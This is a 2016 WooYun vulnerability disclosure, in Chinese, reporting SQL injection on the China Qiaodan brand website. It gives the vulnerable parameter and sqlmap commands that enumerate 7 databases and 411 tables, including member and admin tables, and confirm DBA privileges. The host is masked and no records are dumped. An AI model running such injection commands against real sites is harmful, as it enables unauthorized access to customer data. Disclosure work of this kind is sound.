漏洞概要 关注数(3) 关注此漏洞
缺陷编号： WooYun-2016-191282
漏洞标题： 中国乔丹主站注入泄露大量会员信息&dba权限
相关厂商： 中国乔丹
漏洞作者： Mr.li
提交时间： 2016-04-01 11:31
公开时间： 2016-05-16 11:40
漏洞类型： SQL注射漏洞
危害等级： 高
自评Rank： 19
漏洞状态： 未联系到厂商或者厂商积极忽略
漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系
Tags标签： sql注入
漏洞详情
披露状态：
2016-04-01： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-16： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
中国乔丹主站注入泄露大量会员信息&dba权限
详细说明：
中国乔丹主站注入泄露大量会员信息&dba权限
漏洞证明：
注入点： sqlmap -u "http://**.**.**.**/e/dianzan.php?id=18685"
sqlmap -u "http://**.**.**.**/e/dianzan.php?id=18685" --dbs
available databases [7]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] qiaodan
[*] qiaodan20151118
[*] test
[*] u817646
sqlmap -u "http://**.**.**.**/e/dianzan.php?id=18685" --current-db
current database: 'u817646'
Database: u817646
[411 tables]
+----------------------------------+
| 2012_seo |
| daiyan |
| fengxing2_seo |
| hdzz_products |
| hdzz_products2 |
| hdzz_seo |
| qb_jfabout |
| qb_jfsort |
| qd_dyy_picture |
| qd_dyy_pro |
| qd_dyy_seo |
| qiaodan_2013lzmarathon_intro |
| qiaodan_2013lzmarathon_picture |
| qiaodan_2013lzmarathon_seo |
| qiaodan_2013qyh_picture |
| qiaodan_admin |
| qiaodan_baoming |
| qiaodan_baoming_copy |
| qiaodan_coode |
| qiaodan_ecms_article |
| qiaodan_ecms_article_check |
| qiaodan_ecms_article_check_data |
| qiaodan_ecms_article_data_1 |
| qiaodan_ecms_article_doc |
| qiaodan_ecms_article_doc_data |
| qiaodan_ecms_article_doc_index |
| qiaodan_ecms_article_index |
| qiaodan_ecms_download |
| qiaodan_ecms_download_check |
| qiaodan_ecms_download_check_data |
| qiaodan_ecms_download_data_1 |
| qiaodan_ecms_download_doc |
| qiaodan_ecms_download_doc_data |
| qiaodan_ecms_download_doc_index |
| qiaodan_ecms_download_index |
| qiaodan_ecms_flash |
| qiaodan_ecms_flash_check |
| qiaodan_ecms_flash_check_data |
| qiaodan_ecms_flash_data_1 |
| qiaodan_ecms_flash_doc |
| qiaodan_ecms_flash_doc_data |
| qiaodan_ecms_flash_doc_index |
| qiaodan_ecms_flash_index |
| qiaodan_ecms_info |
| qiaodan_ecms_info_check |
| qiaodan_ecms_info_check_data |
| qiaodan_ecms_info_data_1 |
| qiaodan_ecms_info_doc |
| qiaodan_ecms_info_doc_data |
| qiaodan_ecms_info_doc_index |
| qiaodan_ecms_info_index |
| qiaodan_ecms_infoclass_article |
| qiaodan_ecms_infoclass_download |
| qiaodan_ecms_infoclass_flash |
| qiaodan_ecms_infoclass_info |
| qiaodan_ecms_infoclass_kuz |
| qiaodan_ecms_infoclass_movie |
| qiaodan_ecms_infoclass_news |
| qiaodan_ecms_infoclass_photo |
| qiaodan_ecms_infoclass_products |
| qiaodan_ecms_infoclass_shop |
| qiaodan_ecms_infoclass_tvc |
| qiaodan_ecms_infoclass_vip |
| qiaodan_ecms_infoclass_zhanji |
| qiaodan_ecms_infotmp_article |
| qiaodan_ecms_infotmp_download |
| qiaodan_ecms_infotmp_flash |
| qiaodan_ecms_infotmp_info |
| qiaodan_ecms_infotmp_kuz |
| qiaodan_ecms_infotmp_movie |
| qiaodan_ecms_infotmp_news |
| qiaodan_ecms_infotmp_photo |
| qiaodan_ecms_infotmp_products |
| qiaodan_ecms_infotmp_shop |
| qiaodan_ecms_infotmp_tvc |
| qiaodan_ecms_infotmp_vip |
| qiaodan_ecms_infotmp_zhanji |
| qiaodan_ecms_kuz |
| qiaodan_ecms_kuz_check |
| qiaodan_ecms_kuz_check_data |
| qiaodan_ecms_kuz_data_1 |
| qiaodan_ecms_kuz_doc |
| qiaodan_ecms_kuz_doc_data |
| qiaodan_ecms_kuz_doc_index |
| qiaodan_ecms_kuz_index |
| qiaodan_ecms_movie |
| qiaodan_ecms_movie_check |
| qiaodan_ecms_movie_check_data |
| qiaodan_ecms_movie_data_1 |
| qiaodan_ecms_movie_doc |
| qiaodan_ecms_movie_doc_data |
| qiaodan_ecms_movie_doc_index |
| qiaodan_ecms_movie_index |
| qiaodan_ecms_news |
| qiaodan_ecms_news_check |
| qiaodan_ecms_news_check_data |
| qiaodan_ecms_news_data_1 |
| qiaodan_ecms_news_doc |
| qiaodan_ecms_news_doc_data |
| qiaodan_ecms_news_doc_index |
| qiaodan_ecms_news_index |
| qiaodan_ecms_photo |
| qiaodan_ecms_photo_check |
| qiaodan_ecms_photo_check_data |
| qiaodan_ecms_photo_data_1 |
| qiaodan_ecms_photo_doc |
| qiaodan_ecms_photo_doc_data |
| qiaodan_ecms_photo_doc_index |
| qiaodan_ecms_photo_index |
| qiaodan_ecms_products |
| qiaodan_ecms_products2 |
| qiaodan_ecms_products3 |
| qiaodan_ecms_products_check |
| qiaodan_ecms_products_check_data |
| qiaodan_ecms_products_data_1 |
| qiaodan_ecms_products_data_1_2 |
| qiaodan_ecms_products_doc |
| qiaodan_ecms_products_doc_data |
| qiaodan_ecms_products_doc_index |
| qiaodan_ecms_products_index |
| qiaodan_ecms_products_index2 |
| qiaodan_ecms_shop |
| qiaodan_ecms_shop_check |
| qiaodan_ecms_shop_check_data |
| qiaodan_ecms_shop_data_1 |
| qiaodan_ecms_shop_doc |
| qiaodan_ecms_shop_doc_data |
| qiaodan_ecms_shop_doc_index |
| qiaodan_ecms_shop_index |
| qiaodan_ecms_tvc |
| qiaodan_ecms_tvc_check |
| qiaodan_ecms_tvc_check_data |
| qiaodan_ecms_tvc_data_1 |
| qiaodan_ecms_tvc_doc |
| qiaodan_ecms_tvc_doc_data |
| qiaodan_ecms_tvc_doc_index |
| qiaodan_ecms_tvc_index |
| qiaodan_ecms_vip |
| qiaodan_ecms_vip_check |
| qiaodan_ecms_vip_check_data |
| qiaodan_ecms_vip_data_1 |
| qiaodan_ecms_vip_doc |
| qiaodan_ecms_vip_doc_data |
| qiaodan_ecms_vip_doc_index |
| qiaodan_ecms_vip_index |
| qiaodan_ecms_zhanji |
| qiaodan_ecms_zhanji_check |
| qiaodan_ecms_zhanji_check_data |
| qiaodan_ecms_zhanji_data_1 |
| qiaodan_ecms_zhanji_doc |
| qiaodan_ecms_zhanji_doc_data |
| qiaodan_ecms_zhanji_doc_index |
| qiaodan_ecms_zhanji_index |
| qiaodan_eight_win |
| qiaodan_eight_works |
| qiaodan_enewsad |
| qiaodan_enewsadclass |
| qiaodan_enewsadminstyle |
| qiaodan_enewsbefrom |
| qiaodan_enewsbq |
| qiaodan_enewsbqclass |
| qiaodan_enewsbqtemp |
| qiaodan_enewsbqtempclass |
| qiaodan_enewsbuybak |
| qiaodan_enewsbuygroup |
| qiaodan_enewscard |
| qiaodan_enewsclass |
| qiaodan_enewsclass_copy |
| qiaodan_enewsclass_stats |
| qiaodan_enewsclass_stats_ip |
| qiaodan_enewsclass_stats_set |
| qiaodan_enewsclassadd |
| qiaodan_enewsclassf |
| qiaodan_enewsclassnavcache |
| qiaodan_enewsclasstemp |
| qiaodan_enewsclasstempclass |
| qiaodan_enewsdiggips |
| qiaodan_enewsdo |
| qiaodan_enewsdolog |
| qiaodan_enewsdownerror |
| qiaodan_enewsdownrecord |
| qiaodan_enewsdownurlqz |
| qiaodan_enewserrorclass |
| qiaodan_enewsf |
| qiaodan_enewsfava |
| qiaodan_enewsfavaclass |
| qiaodan_enewsfeedback |
| qiaodan_enewsfeedbackclass |
| qiaodan_enewsfeedbackf |
| qiaodan_enewsfile_1 |
| qiaodan_enewsfile_member |
| qiaodan_enewsfile_other |
| qiaodan_enewsfile_public |
| qiaodan_enewsgbook |
| qiaodan_enewsgbookclass |
| qiaodan_enewsgfenip |
| qiaodan_enewsgroup |
| qiaodan_enewshmsg |
| qiaodan_enewshnotice |
| qiaodan_enewshy |
| qiaodan_enewshyclass |
| qiaodan_enewsindexpage |
| qiaodan_enewsinfoclass |
| qiaodan_enewsinfotype |
| qiaodan_enewsinfovote |
| qiaodan_enewsjstemp |
| qiaodan_enewsjstempclass |
| qiaodan_enewskey |
| qiaodan_enewskeyclass |
| qiaodan_enewslink |
| qiaodan_enewslinkclass |
| qiaodan_enewslinktmp |
| qiaodan_enewslisttemp |
| qiaodan_enewslisttempclass |
| qiaodan_enewslog |
| qiaodan_enewsloginfail |
| qiaodan_enewsmember |
| qiaodan_enewsmember_connect |
| qiaodan_enewsmember_connect_app |
| qiaodan_enewsmemberadd |
| qiaodan_enewsmemberf |
| qiaodan_enewsmemberfeedback |
| qiaodan_enewsmemberform |
| qiaodan_enewsmembergbook |
| qiaodan_enewsmembergroup |
| qiaodan_enewsmemberpub |
| qiaodan_enewsmenu |
| qiaodan_enewsmenuclass |
| qiaodan_enewsmod |
| qiaodan_enewsnewstemp |
| qiaodan_enewsnewstempclass |
| qiaodan_enewsnotcj |
| qiaodan_enewsnotice |
| qiaodan_enewspage |
| qiaodan_enewspageclass |
| qiaodan_enewspagetemp |
| qiaodan_enewspayapi |
| qiaodan_enewspayrecord |
| qiaodan_enewspic |
| qiaodan_enewspicclass |
| qiaodan_enewspl_1 |
| qiaodan_enewspl_set |
| qiaodan_enewsplayer |
| qiaodan_enewsplf |
| qiaodan_enewspltemp |
| qiaodan_enewspostdata |
| qiaodan_enewspostserver |
| qiaodan_enewsprinttemp |
| qiaodan_enewspublic |
| qiaodan_enewspublic_update |
| qiaodan_enewspubtemp |
| qiaodan_enewspubvar |
| qiaodan_enewspubvarclass |
| qiaodan_enewsqmsg |
| qiaodan_enewssearch |
| qiaodan_enewssearchall |
| qiaodan_enewssearchall_load |
| qiaodan_enewssearchtemp |
| qiaodan_enewssearchtempclass |
| qiaodan_enewsshop_address |
| qiaodan_enewsshop_ddlog |
| qiaodan_enewsshop_precode |
| qiaodan_enewsshop_set |
| qiaodan_enewsshopdd |
| qiaodan_enewsshopdd_add |
| qiaodan_enewsshoppayfs |
| qiaodan_enewsshopps |
| qiaodan_enewssp |
| qiaodan_enewssp_1 |
| qiaodan_enewssp_2 |
| qiaodan_enewssp_3 |
| qiaodan_enewssp_3_bak |
| qiaodan_enewsspacestyle |
| qiaodan_enewsspclass |
| qiaodan_enewssql |
| qiaodan_enewstable |
| qiaodan_enewstags |
| qiaodan_enewstagsclass |
| qiaodan_enewstagsdata |
| qiaodan_enewstask |
| qiaodan_enewstempbak |
| qiaodan_enewstempdt |
| qiaodan_enewstempgroup |
| qiaodan_enewstempvar |
| qiaodan_enewstempvarclass |
| qiaodan_enewstogzts |
| qiaodan_enewsuser |
| qiaodan_enewsuseradd |
| qiaodan_enewsuserclass |
| qiaodan_enewsuserjs |
| qiaodan_enewsuserjsclass |
| qiaodan_enewsuserlist |
| qiaodan_enewsuserlistclass |
| qiaodan_enewsuserloginck |
| qiaodan_enewsvote |
| qiaodan_enewsvotemod |
| qiaodan_enewsvotetemp |
| qiaodan_enewswapstyle |
| qiaodan_enewswfinfo |
| qiaodan_enewswfinfolog |
| qiaodan_enewswords |
| qiaodan_enewsworkflow |
| qiaodan_enewsworkflowitem |
| qiaodan_enewswriter |
| qiaodan_enewsyh |
| qiaodan_enewszt |
| qiaodan_enewsztadd |
| qiaodan_enewsztclass |
| qiaodan_enewsztf |
| qiaodan_enewsztinfo |
| qiaodan_enewszttype |
| qiaodan_enewszttypeadd |
| qiaodan_gundong |
| qiaodan_hl |
| qiaodan_hlchange |
| qiaodan_kuz2013_picture |
| qiaodan_kuz2013_seo |
| qiaodan_lp |
| qiaodan_lpchange |
| qiaodan_onlinebuy |
| qiaodan_pinpai |
| qiaodan_pinpai2 |
| qiaodan_pinpai_copy |
| qiaodan_products |
| qiaodan_products2 |
| qiaodan_products55_copy |
| qiaodan_seo |
| qiaodan_session |
| qiaodan_shopall |
| qiaodan_shopall_copy |
| qiaodan_sina |
| qiaodan_tech |
| qiaodan_techclass |
| qiaodan_vip |
| qiaodan_vip_002 |
| qiaodan_vip_1507 |
| qiaodan_vip_1508 |
| qiaodan_vip_1509 |
| qiaodan_vip_150915 |
| qiaodan_vip_151008 |
| qiaodan_vip_151203 |
| qiaodan_vip_1601 |
| qiaodan_vip_copy1 |
| qiaodan_viprecord |
| qiaodan_viprecord_copy |
| qiaodan_vipuser |
| tb_friend |
| tb_friends |
| tb_game |
| tb_goodluck |
| tb_hys |
| tb_login |
| tb_qqid |
| tb_reason |
| tb_score |
| tb_user |
| tb_weibo |
| town_admin |
| town_admin_auth |
| town_admin_rights |
| town_advs_dl |
| town_advs_float |
| town_advs_lb |
| town_advs_left |
| town_advs_page |
| town_advs_pop |
| town_advs_right |
| town_coltype |
| town_comment |
| town_comment_cat |
| town_config |
| town_cp_cat |
| town_cp_con |
| town_default_rights |
| town_down_cat |
| town_down_con |
| town_duty |
| town_form |
| town_form_feedback |
| town_link |
| town_link_cat |
| town_logo |
| town_member |
| town_member_cat |
| town_member_func |
| town_member_notice |
| town_member_nums |
| town_member_regform |
| town_member_rights |
| town_member_type |
| town_member_zone |
| town_menu |
| town_news_auth |
| town_news_cat |
| town_news_con |
| town_pageset |
| town_plus |
| town_plus_set |
| town_poll_config |
| town_poll_data |
| town_poll_index |
| town_proj |
| town_prop |
| town_secure |
| town_stat_base |
| town_stat_come |
| town_stat_count |
| town_stat_date |
| town_temp |
| town_weather |
| waterfall |
+----------------------------------+
sqlmap -u "http://**.**.**.**/e/dianzan.php?id=18685" --is-dba
current user is DBA: True
修复方案：
.
版权声明：转载请注明来源 Mr.li@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
评论